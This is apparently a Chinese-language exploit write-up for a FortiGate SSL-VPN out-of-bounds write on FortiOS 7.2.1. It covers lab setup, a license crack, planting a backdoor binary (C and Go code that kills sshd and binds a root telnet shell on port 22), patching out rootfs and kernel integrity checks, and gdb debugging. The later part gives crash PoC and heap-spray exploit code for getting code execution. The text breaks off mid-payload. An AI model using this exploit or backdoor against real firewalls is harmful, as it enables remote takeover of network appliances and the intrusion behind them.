前言
内存越界写入仅有的2个字节 rn导致了RCE。这整条利用链比较巧妙, 还是非常值得学习的, 这里记录一下从环境搭建到漏洞利用再到getshell的一个过程。
环境搭建
这里用到的测试环境为 FGT_VM64-v7.2.1.F-build1254-FORTINET
网络配置
加载ova虚拟机,并启动, 配置网卡1为自己的网段:
进入系统后输入默认的用户名admin, 密码为空, 接着进到CLI界面, 开始按照以下配置, 设置网卡:
config system interface edit port1 set mode static set ip 192.168.102.200 255.255.255.0 set allowaccess ping https http ssh telnet end
配置后, 就设置好了IP地址, 并且开启了22、23、80、443的端口, 可以自行查看有没有ping通。
sslvpn服务配置
通过https访问目标进入后台页面, 此时需要破解license, 可以参考@CATALPA大佬的脚本: https://github.com/rrrrrrri/fgt-gadgets, 激活后, 就可以开始配置VPN功能了。
1、创建sslvpn的用户:
2、创建组,并且将用户添加至组
3、配置sslvpn,选择监听网卡以及端口(这里设置的是4443)
4、设置可访问组为自己创建的组:
5、防火墙配置 添加允许port1网卡对sslvpn的访问:
6、正常访问sslvpn服务:
Patch后门
加载虚拟机后, 会有2个vmdk文件, 其中vmdk1里边保存的有一个叫做 rootfs.gz
的压缩包, 里边保存的就是文件系统, 另外的一个 flatkc
是加载启动的内核程序,其实就是vmlinx换了个名字。
我们的目标是: 将系统的某些自动加载的程序替换为我们自己的后门(以往的思路例如:替换vmtools等).
这里用到的一个方法是:替换掉cli中的一个叫做 smartctl
的功能, 他本来是指向 /bin/init
的一个软链接, 我们可以把他替换成一个静态编译的后门程序, 这样就达到了从cli调用smartctl会执行后门程序的效果。
通过在一台Linux设备上挂载这个vmdk1硬盘来修改里边的内容:
我整合了一下patch后门的步骤:
# 挂载vmdk
root@Pwn-Baka:/mnt# mount /dev/sdb1 /mnt/fuckforti
# 解压vmdk中的rootfs.gz
root@Pwn-Baka:/mnt/forti-rootfs# gzip -d rootfs.gz
root@Pwn-Baka:/mnt/forti-rootfs# mkdir ../fos_rootfs ; cd ../fos_rootfs/
root@Pwn-Baka:/mnt/fos_rootfs# mv ../forti-rootfs/rootfs .
root@Pwn-Baka:/mnt/fos_rootfs# cpio -idmv < rootfs
root@Pwn-Baka:/mnt/fos_rootfs# rm rootfs
# 解压bin目录
root@Pwn-Baka:/mnt/fos_rootfs# chroot . /sbin/xz –check=sha256 -d /bin.tar.xz
root@Pwn-Baka:/mnt/fos_rootfs# chroot . /sbin/ftar -xf /bin.tar
# 替换默认shell
root@Pwn-Baka:/mnt/fos_rootfs# mv bin/sh bin/sh_bak
root@Pwn-Baka:/mnt/fos_rootfs# ln -sn /bin/busybox bin/sh
root@Pwn-Baka:/mnt/fos_rootfs#
# 制作后门
root@Pwn-Baka:/mnt/hgfs/Ubuntu/forti_backdoor# cat main.c
#include <stdlib.h>
void shell() {
system(“/bin/busybox ls”);
system(“/bin/busybox id”);
system(“/bin/busybox killall sshd && /bin/busybox telnetd -l /bin/sh -b 0.0.0.0 -p 22”);
}
int main(int argc, char **argv) {
shell();
return 0;
}
//gcc -g main.c -static -o smartctl-backdoor
root@Pwn-Baka:/mnt/hgfs/Ubuntu/forti_backdoor# gcc -g main.c -static -o smartctl-backdoor
root@Pwn-Baka:/mnt/fos_rootfs/bin# mv busybox-i686-v1-sysv busybox
# 替换后门
root@Pwn-Baka:/mnt/fos_rootfs/bin# mv /mnt/hgfs/Ubuntu/forti_backdoor/smartctl-backdoor smartctl
# 重打包bin目录
root@Pwn-Baka:/mnt/fos_rootfs# chroot . /sbin/ftar -cf /bin.tar /bin
root@Pwn-Baka:/mnt/fos_rootfs# chroot . /sbin/xz -z /bin.tar
# rm -rf bin !!!!!!这里不能删除/bin目录 要保留patch后的/bin/init, 至于删其他文件会不会出现问题可以自行尝试
# 重打包rootfs
root@Pwn-Baka:/mnt/fos_rootfs# find . | cpio -H newc -o > “../rootfs”
root@Pwn-Baka:/mnt/fos_rootfs# cat “../rootfs” | gzip > “../rootfs.gz”
root@Pwn-Baka:/mnt/fos_rootfs# dd if=/dev/zero bs=1 count=256 >> “../rootfs.gz”
# 替换rootfs.gz
root@Pwn-Baka:/mnt/fos_rootfs# cd ../fuckforti/
root@Pwn-Baka:/mnt/fuckforti# cp ../rootfs.gz .
# 取消挂载
root@Pwn-Baka:/mnt/fuckforti# cd ..
root@Pwn-Baka:/mnt# umount /mnt/fuckforti/
# 提取vmlinux
root@Pwn-Baka:/mnt/fuckforti# cp flatkc ../
root@Pwn-Baka:/mnt/fuckforti# cd ..
root@Pwn-Baka:/mnt# umount fuckforti/
root@Pwn-Baka:/mnt# cp flatkc hgfs/Ubuntu/
# 转换vmlinux
> git clone https://github.com/marin-m/vmlinux-to-elf.git
> cd vmlinux-to-elf
> python3 vmlinux-to-elf /Users/w22/Ubuntu/iot/FortiGate/fuckforti/flatkc /Users/w22/Ubuntu/iot/FortiGate/fuckforti/flatkc1
除了以上的步骤, 还需要解决一些问题:
-
1、系统没有busybox, 需要传一个x86-64的busybox进去, 确保后边调试方便. -
2、我用Ubuntu环境静态编译的后门不知道为什么没有被执行, 之后用go编译了一个可以了. 这里感谢@pipiyang的思路
-
go后门代码:
package main import ( “fmt” “log” “os/exec” ) func shell() { if err := exec.Command(“/bin/busybox”, “ls”).Run(); err != nil { log.Fatal(err) } if err := exec.Command(“/bin/busybox”, “id”).Run(); err != nil { log.Fatal(err) } if err := exec.Command(“/bin/busybox”, “killall”, “sshd”).Run(); err != nil { log.Fatal(err) } if err := exec.Command(“/bin/busybox”, “telnetd”, “-l”, “/bin/sh”, “-b”, “0.0.0.0”, “-p”, “22”).Run(); err != nil { log.Fatal(err) } } func main() { fmt.Println(“hello”) shell() } // GOOS=linux GOARCH=amd64 go build -o smartctl-backdoor
// cp /mnt/hgfs/Ubuntu/iot/FortiGate/fuckforti/smartctl_backdoor_go/smartctl-backdoor smartctl
绕过文件系统检查
/bin/init
这个文件是一个很大的bin文件, 有60多M, 里边存放了FortiOS的启动过程, 还有很多功能都是链接向他的, 例如sslvpnd服务也是通过/bin/init启动的, 在图中的位置检查了rootfs.gz的文件完整性. 检查失败会到do_halt, 直接重启。
这里的思路很简单, 将do_halt直接ret即可, 或者修改判断逻辑, 直接patch即可。
绕过内核检查
可以通过 vmlinux-to-elf
工具将flatkc变为elf程序, 这样就可以使用gdb或者ida加载并分析了。
从kernel_init跟进, 发现有一个名为 fgt_verify
的函数, 如果他返回异常,系统就会重启。
解决他的思路是在走完fgt_verify函数时, 将 $rax
置0, 并且将启动的/sbin/init 替换为修改后的/bin/init
这里写了一个gdb启动脚本, 可以参考(其中注释的部分是需要手动执行的. 具体 /bin/init
的位置, 需要查看flatkc文件中/bin/init的地址):
import gdb
gdb.execute(‘set architecture i386:x86-64’) #设置架构
gdb.execute(‘set pagination off’) #关闭分页
gdb.execute(‘file ./flatkc1’) #加载启动内核文件
gdb.execute(‘b fgt_verify’) #fgt_verify
# finish
# set $rax = 0
# set {char[9]}0xFFFFFFFF808F3591 = “/bin/init”
# set {char}0xFFFFFFFF808F359A = ‘x00’
虚拟机启动后, 运行 diagnose hardware smartctl
, 启动后门:
此时通过telnet连接22端口测试:
关于调试
由于22、23端口都被进程占用, 其中22端口是被替换成了/bin/busybox telnetd
,23端口为原本的telnet服务, 我们用不到他, 这时候就可以通过kill掉系统的telnetd
服务,并且监听我们的gdbserver程序, 命令如下:
/bin/busybox kill `/bin/busybox ps | grep “/[b]in/telnetd” | /bin/busybox awk ‘{print $1}’` ; ./gdbserver 0.0.0.0:23
–attach `/bin/busybox ps |grep ssl[v]pnd |/bin/busybox awk ‘{print $1}’`
可以看到成功attach到sslvpnd进程:
这里也记录了一些调试漏洞时的一些断点命令, 可以自行参考:
import gdb
gdb.execute(“set architecture i386:x86-64”)
gdb.execute(“file ../init”)
gdb.execute(“set pagination off”) #关闭分页
# gdb.execute(“b* 0x176bbb6”) #越界写0a0d后,crash前leave位置
# gdb.execute(“b *0x1780a20”) # jmp rax所在的函数
# gdb.execute(“b* 0x000000000177F410”)
# gdb.execute(“b *0x1780B1B”) # jmp rax
# gdb.execute(“watch *0x7fc9d3ae3a00”) # 分配堆块
# gdb.execute(“b *0x178E196”) # 分配堆块位置
# gdb.execute(“b* 0x43ec1b”) #system_plt
# gdb.execute(“b* 0x1780C19”) #可控参数call
# gdb.execute(“b* 0x7fc9d8d4ca31”) #do_system_args
# gdb.execute(“b* 0x7f47c9cdf956”) # <SSL_do_handshake+54>
# gdb.execute(“b* 0x7f47c9cdf98e”) # <SSL_do_handshake+110>:jmp rax
# gdb.execute(“b* 0x01f710ed”) # debug rop
gdb.execute(“target remote 192.168.102.200:23”)
gdb.execute(“c”)
漏洞发现
diff补丁:
通过diff补丁可以知道, 新版本添加了对chunk的限制: 当ap_getline的返回值大于16的时候添加了非法chunk的异常处理。
通过分析公开的PoC, 以及解析chunk的处理后发现:
-
如果chunk length的字段解码后为0的话, 就会从chunk trailer开始读, 而chunk trailer是由ap_getline读取的. -
读取chunk trailer的时候,会根据chunk length的长度写入 0x0d,0x0a
-
所以, 我们如果在chunk length上传入0的长度大于剩余缓冲区长度的1/2时,就会触发越界写 0x0a0d
,而偏移0x2028的位置保存了返回地址.如果在偏移0x202e的位置写入rn
.当函数返回执行ret
指令恢复rip时就会因地址非法产生崩溃。
Crash分析
Crash PoC:
hostname=’192.168.102.200:4443′ pkt = b””” GET / HTTP/1.1 Host: %s Transfer-Encoding: chunked %srn%srnrn””” % (hostname.encode(), b”0″*((0x202e//2)-2), b”a”)
通过调试发现,rsp的值已经被覆盖为0x0a0d开头的一个内容:
由于越界写的内容很有限, 只有固定的0x0a0d两个字节,所以也无法劫持rip指针,所以现在需要想办法来控制写入0x0a0d的位置,以及思考2个字节可以做什么。
漏洞利用
控制写入0a0d位置:
程序在0x176bbb7的位置发生崩溃了, 我们在发生崩溃, leave之前的位置下一个断点,查看栈的情况:
b* 0x176bbb6
首先在越界写0x0a0d的位置下断点: 然后查看栈的信息, 这里用了PoC中的值以及PoC中的偏移+0x20的值,
#payload -> b”0″*((0x202e//2)-2)+b”a”
pwndbg> x/1i $rip
=> 0x176bbb7:ret
pwndbg> x/10gx $rsp
0x7fff03071f68:0x0a0d00000177f48d0x00007fff03071f80 <–写入0a0d位置
0x7fff03071f78:0x00007f47c45b92180x00007fff03071fb0
0x7fff03071f88:0x00000000000000000x00007f47c52e3ac0
0x7fff03071f98:0x00007f47c52e3a000x0000000000000000
0x7fff03071fa8:0x000000010016966d0x00007fff03071fe0
#payload -> b”0″*((0x202e//2)-2+0x20)+b”a”
pwndbg> x/1i $rip
=> 0x176bbb7:ret
pwndbg> x/10gx $rsp
0x7fff03071f68:0x000000000177f48d0x00007fff03071f80
0x7fff03071f78:0x00007f47c45b92180x00007fff03071fb0
0x7fff03071f88:0x0a0d0000000000000x00007f47c52e3ac0 <–写入0a0d位置
0x7fff03071f98:0x00007f47c52e3a000x0000000000000000
0x7fff03071fa8:0x000000010016d6040x00007fff03071fe0
此时发现可以控制0a0d的位置, 并且可以成功绕过这个由于返回地址被改为0a0d时出现的段错误了, 继续跟进调试: 发现程序走进了一段小gadget:
到这里我们可以发现, 如果说我们写入一个0d0a 使他刚好可以覆盖掉某个栈上的值, 是否就可以在pop寄存器的时候修改寄存器的内容呢?
错误的尝试:
-
1、通过修改rbp的低字节, 结果:程序没有leave来恢复栈, 导致crach (x) -
2、可以改一些变量内容, 结果: 改了很多变量, 发现没什么卵用 (x)
利用方法:
((0x202e//2)-2+0x15)
的位置,修改后的代码如下:pwndbg> x/1i $rip
=> 0x176bbb7:ret
pwndbg> x/10gx $rsp
0x7fff03071f68:0x000000000177f48d0x00007fff03071f80
0x7fff03071f78:0x00007f47c45b92180x00007fff03071fb0
0x7fff03071f88:0x00000000000000000x00007f47c52e3ac0
0x7fff03071f98:0x00007f47c52e0a0d0x0000000000000000 #3a00 -> 0a0d
0x7fff03071fa8:0x000000010019803d0x00007fff03071fe0
这个位置保存的是一个堆指针。
可以看到, 在执行了pop r13
后, r13的值被修改为我们覆盖掉0a0d的值:
继续执行, 程序走在了读rsi地址没有读到的地方, 发生了崩溃:
分析这个地址所在的函数sub_1780A20
后, 发现了一个有趣的地方, 这里的v9 通过*(v8+0xc0)得到的,而v8的值是rdx, 他的获取方法是通过rsi+0x70的地址所在的值, 而这个值是我们可控的(存于堆中), 所以我们可以通过修改v9的值指向任意的函数,从而做到任意函数的调用。
这里的v9为rax, a1为第一个参数, 也就是rdi的值。
劫持函数指南针
这里可以通过2步来修改rsi的值:
-
1、通过堆喷的方法, 创建一个堆布局 -
2、通过发送PoC,修改堆指针,使其走到sub_1780A20函数中
所以做的表单的变量与参数需要分别设置大小,以保证堆喷的目标为0x608大小的堆块上:
body = b’A’*(0x608) + b”=” + b’B’*(0x508) + b”&”
body = body*12
print(“[*]heap spray -> “+str(len(body)))
ssock1 = alloc_ssl(HOST)
data = b”POST /remote/hostcheck_validate HTTP/1.1rn”
data += f”Host: {IP}:{PORT}rn”.encode()
data += f”Content-Length: {len(body)}rn”.encode()
data += b”rn”
data += body
ssock1.sendall(data)
time.sleep(1)
print(“[*]writing 0a0d..”)
ssock2 = alloc_ssl(HOST)
data = b”POST / HTTP/1.1rn”
data += f”Host: {IP}:{PORT}rn”.encode()
data += b”Transfer-Encoding: chunkedrn”
data += b”Connection: closern”
data += b”rn”
data += b”0″*4137 + b”